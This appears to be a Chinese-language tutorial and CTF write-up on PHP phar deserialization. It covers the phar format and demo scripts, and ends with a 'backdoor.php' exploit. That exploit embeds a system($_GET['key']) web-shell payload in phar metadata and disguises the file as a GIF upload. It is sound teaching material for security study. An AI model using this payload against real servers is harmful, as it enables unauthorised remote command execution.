php中phar文件反序列化问题。

目录

0x00 源起

该问题是Sam Thomas在2018.8.9于black hat上分享议题“It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It”时提出,为php的反序列化漏洞开辟一方新的“乐土”。

0x01 了解phar文件

phar即PHP Archive,顾名思义,它是php的归档文件,本质为压缩文件。常用于php应用程序的打包,类似于java的.jar文件。

phar有三种归档格式:tar归档、zip归档、phar归档,其中前两种用的较少,主要为phar归档。

phar压缩文件格式由四部分组成:

  1. a stub

    可以将stub简单地理解为phar文件的文件头。其实质是一个php文件,其最简形式为

    <?php __HALT_COMPILER(); //闭合符 ?> 可省略。
    
  2. a manifest describing the contents

    manifest部分存储每个被压缩文件的文件名长度、文件名、压缩前大小等一系列信息,具体清单如下: image2

    注意清单中的最后一条,Metadata是以序列化的形式存储的,这里便是phar反序列问题的根源所在。

  3. the file contents

    很直白,就是压缩文件的内容。

  4. [optional] a signature for verifying phar integrity

    一串用于校验phar文件完整性的hash值,支持md5和sha1两种hash类型。这里hash值虽说是optional,但实际pahr文件似乎总是有添加的(没有详做考证)?php生成phar文件时也会自动添加。

0x02 phar反序列化漏洞原理

前面提到在phar文件的manifest中,Metadata是以序列化形式存储的。配合phar://伪协议读取phar文件时,Metadata被反序列化,之后便可接上我们所熟悉的serialize-unseialize型反序列化漏洞。

需要注意的问题是,在phar反序列化漏洞中,只有__destruct__wakeup会被触发。

一个小的演示:

makePharfile.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
	class Test{
		function __wakeup(){
			echo "wakeup now.\n";
		}

		function __destruct(){
			echo "destruct now.\n";
		}
	}
	//Phar类提供对phar文件的相关操作
	//php默认只支持phar文件的读取,需要修改php.ini中phar.readonly值为0,以开启写功能。
	//注意对于同名phar文件的写操作,php是进行内容的追加,而非覆盖,重复测试时记得先unlink()
	$phar = new Phar("test.phar");
	$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
	$metadata = new Test();
	$phar->setMetadata($metadata);
	//以字符串的形式添加一个文件到 phar 文件
	$phar->addFromString('test.txt', 'Hello world!');
?>

生成phar文件如下: image1

之后进行读取

read.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
	class Test{
		function __wakeup(){
			echo "wakeup now.\n";
		}

		function __destruct(){
			echo "destruct now.\n";
		}
	}

	file_exists("phar://test.phar/test.txt");
	//some other functions such as file_get_contents(), is_dir() are also ok. 
?>

结果正是我们所想看到的: image1

0x03 CTF例题

柏鹭杯2018 web2-Phar

web2.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
	if(isset($_GET['filename'])){
	$filename=$_GET['filename'];
	class MyClass{
	    var $output = 'echo "hahaha";';
	    function __destruct()
	    {
	        eval($this -> output);
	    }
	}
	file_exists($filename);
	}
	else{
	highlight_file(__FILE__);
?>

该题另有一处文件上传点,只允许上传gif图片,但并未对图片内容进行校验,上传后可得到图片存储路径。

利用如下代码生成一个后门文件temp.phar:

backdoor.php
1
2
3
4
5
6
7
8
9
10
11
<?php
	class MyClass{
		var $output = '@eval(system($_GET["key"]));';
	}
	$payload = new MyClass();
	unlink("temp.phar");
	$phar = new Phar("temp.phar");
	$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
	$phar->setMetadata($payload);
	$phar->addFromString('test.txt', 'Hello world!');
?>
把文件后缀改为gif并上传,然后带上参数key访问即可。下面是本地环境测试结果: image4

0x04 参考链接

  1. https://findneo.github.io/181125-bailucup-writeup/
  2. https://paper.seebug.org/680/
  3. https://www.blackhat.com/us-18/briefings/schedule/index.html#its-a-php-unserialization-vulnerability-jim-but-not-as-we-know-it-11078